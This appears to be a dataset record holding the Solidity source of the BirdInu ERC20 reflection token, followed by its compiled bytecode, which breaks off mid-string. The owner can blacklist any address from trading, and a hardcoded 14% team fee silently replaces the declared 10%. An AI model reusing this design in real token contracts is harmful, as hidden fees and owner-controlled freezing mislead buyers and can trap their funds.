interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BirdInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "BirdInu";
string private constant _symbol = "BirdInu";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 1;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (20 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 14);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612edd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a00565b61045e565b6040516101789190612ec2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a3919061307f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b1565b61048d565b6040516101e09190612ec2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612923565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7d565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612923565b610783565b6040516102b1919061307f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df4565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612edd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a00565b61098d565b60405161035b9190612ec2565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3c565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612acf565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612975565b61121a565b604051610418919061307f565b60405180910390f35b60606040518060400160405280600781526020017f42697264496e7500000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fbf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fbf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fbf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f42697264496e7500000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fbf565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613395565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fbf565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c519061303f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294c565b6040518363ffffffff1660e01b8152600401610e1f929190612e0f565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e61565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e38565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa6565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fbf565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f7f565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113109061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611467919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612fff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612eff565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fdf565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118359061305f565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601442611a7291906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612edd565b60405180910390fd5b5060008385611c8a9190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f1f565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294c565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309a565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323c565b905082848261212a919061320b565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612f9f565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612edd565b60405180910390fd5b506000838561226d919061320b565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125f9565b61240684836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612463919061307f565b60405180910390a3505050505050505050565b6001600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125068a600854600e6126f0565b92509250925060006125166121ec565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f5f565b60405180910390fd5b8091505092915050565b60006126036121ec565b9050600061261a82846120fa90919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127466064612738888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120fa90919063ffffffff16565b905060006127b686896120fa90919063ffffffff16565b905060006127cd87896120fa90919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b600